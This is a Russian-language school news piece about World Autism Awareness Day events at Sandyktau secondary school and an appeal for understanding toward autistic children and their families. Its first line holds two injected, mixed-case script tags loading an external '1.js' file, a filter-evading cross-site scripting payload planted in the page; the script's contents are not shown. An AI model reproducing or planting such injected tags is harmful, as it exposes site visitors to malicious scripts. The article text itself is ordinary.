<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
2 апреля - всемирный день распространения информации о проблеме аутизма
3 и 4 апреля в Сандыктауской СШ прошли мероприятия, посвященные «проблеме третьего тысячелетия».
Основной задачей было распространение данных об этой проблеме, рассказать, что такое АУТИЗМ, как
проявляется, а главное, как помочь родителям и ребенку. Дать рекомендации населению, как вести себя при встрече с ребенком-аутистом.
Для этого психологом школы была проведена разъяснительная работа с педагогическим коллективом. В старших
классах проведены беседы о толерантном отношении к таким детям. Оформлены тематические уголки. В целях более широкого охвата населения проведены родительские собрания, где рассказано об этом заболевании и развешены постеры в центре села.
Семья, в которой воспитывается ребёнок с аутизмом, часто попадает в социальную изоляцию и сталкивается с
неприязнью, непониманием со стороны окружающих. Аутичный ребёнок внешне
может производить впечатление просто избалованного, капризного, невоспитанного
сорванца. Непонимание, недоброжелательность и даже отторжение окружающими
увеличивают страх ребёнка и его родителей перед появлением в общественных
местах, усложняя и без того тяжёлое душевное состояние семьи.
Всемирный день распространения информации о проблеме аутизма был учрежден резолюцией Генеральной ассамблеи ООН от 21 января 2008 года в целях привлечения внимания к проблемам детей аутистов.
Цель - подчеркнуть необходимость помогать людям, страдающим аутизмом.
В день распространения информации об аутизме по всему миру зажигаются синие огни. Синим светом подсвечиваются здания, памятники, мосты и другие постройки в разных городах. Много семей по
всему миру вечером погасят свет и зажгут синие фонари у себя дома.
«Мы зажигаем синие фонари, чтобы пролить свет
на аутизм и привлечь внимание к проблемам детей с этой болезнью».
Аутизм – заболевание более распространенное, чем многие
думают. Еще 30 лет назад 1-2 случая аутизма приходились на 10 000 человек,
сейчас детей с аутизмом рождается 1 на 90-100 человек. Ученые всего
мира бьют тревогу – это больше, чем детей с диабетом, онкологией и синдромом
Дауна вместе взятых.
Аутизм это сложное состояние, как правило, сочетающее в себе несколько
самостоятельных нарушений. У таких детей может отсутствовать речь совсем,
или же они могут часами повторять любимую фразу, цитировать мультфильмы и
стихи. Часто они боятся и избегают изменений. Им страшно
смотреть в глаза собеседнику, тяжело находиться в местах большого скопления
людей, резкие звуки и яркий свет вызывают у них острую боль. Они родились
в нашем мире, но они не приспособлены к нему. От страха перед внешним
миром они могут кричать, махать руками, падать на землю и бежать, куда глаза
глядят, пугая окружающих своим поведением. Они ведут себя так не потому,
что они невоспитанные. Пожалуйста, проявите терпимость, отнеситесь к ним с
пониманием.
Главное для родителей понять, что аутичные расстройства очень хорошо поддаются
коррекции при правильно организованной и своевременно начатой
терапии. Не нужно бояться проявлять к детям - аутистам свои чувства -
любовь и понимание не могут им помешать. Но нужно быть готовым к тому, что
ребенок не всегда ответит так, как хотелось бы. Нужно быть готовым к
непредвиденным обстоятельствам и разнообразным трудностям. Детей с
аутизмом не нужно жалеть, им нужно помочь научиться жить в обществе и быть
полезным ему. Они просто другие, но им тоже нужно дать шанс любить, мыслить,
учиться, мечтать.
Поддержите их!
Им нужна наша помощь, понимание и терпимость. И если вы увидите ребёнка,
орущего и катающегося по полу в супермаркете, подумайте, что он на самом деле
вовсе не избалован родителями, а оглушён и напуган навалившимися на
него ощущениями. Или, может быть, это единственный доступный ему
способ выразить свой протест, достучаться до нас из его реальности. А его
маме, в этот момент пытающейся помочь своему ребёнку, совсем не нужны замечания
или неуместное внимание окружающих. Всё, что ей нужно - это просто понимание,
а иногда - элементарная физическая помощь: вовремя поддержанная дверь или
поданная сумка.
Задача нашего общества –
протянуть руку помощи особым детям
и помочь им адаптироваться в
нашем мире!